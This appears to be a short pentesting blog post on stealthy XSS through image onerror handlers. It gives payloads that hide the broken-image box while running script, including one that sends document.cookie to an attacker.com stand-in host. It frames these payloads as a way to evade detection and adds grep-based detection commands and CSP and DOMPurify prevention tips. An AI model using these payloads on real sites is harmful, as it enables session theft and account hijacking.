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When a webpage references a missing or corrupt image, it typically displays an empty box with optional `ALT` text. As pentesters, we often inject images that don’t exist to trigger JavaScript execution. For example:
<img src=X onerror="alert('some JS data');">
While effective, this leaves behind an empty box, revealing the failed HTML command. Here’s how to hide the empty box using CSS/JS:
<img src=X onerror="this.style.display='none';">
You can still inject code without visual traces:
<img src=X onerror="this.style.display='none'; alert(document.cookie);">
This makes it less obvious that an image tag failed (while JS executes silently).
You Should Know:
1. HTML/JS Injection:
- Use `onerror` to trigger JS when an image fails to load.
- Combine with `style.display=’none’` to hide evidence.
2. XSS Payloads:
<img src=X onerror="fetch('https://attacker.com/steal?data='+document.cookie);">
3. Linux Command for Testing:
Use `curl` to check if image tags are vulnerable:
curl -s "http://example.com/page" | grep -oP '<img[^>]+onerror[^>]+>'
4. Windows PowerShell Detection:
Invoke-WebRequest -Uri "http://example.com/page" | Select-String -Pattern '<img[^>]+onerror[^>]+>'
5. Browser Console Debugging:
Open DevTools (F12) and monitor network requests for failed image loads:
document.querySelectorAll('img[src="X"]').forEach(img => console.log(img));
6. Prevention (For Developers):
- Sanitize user input with libraries like DOMPurify.
- Use CSP headers:
Content-Security-Policy: default-src 'self'; img-src 'self' data:;
What Undercode Say:
This technique highlights the importance of subtlety in penetration testing. Attackers often rely on visual cues to detect vulnerabilities, and hiding failed image loads can bypass basic detection. For defenders, monitoring unexpected `display:none` styles on image tags can reveal hidden XSS attempts. Always audit third-party scripts and validate image sources.
Expected Output:
- Silent JS execution without empty boxes.
- Evasion of basic XSS detection mechanisms.
Prediction:
As web applications adopt stricter CSP policies, attackers will increasingly abuse lesser-known HTML/CSS properties to bypass restrictions. Expect a rise in “invisible” payloads leveraging display:none, opacity:0, or `visibility:hidden` to mask malicious activity.
URLs (if needed):
IT/Security Reporter URL:
Reported By: Activity 7338392076788645888 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
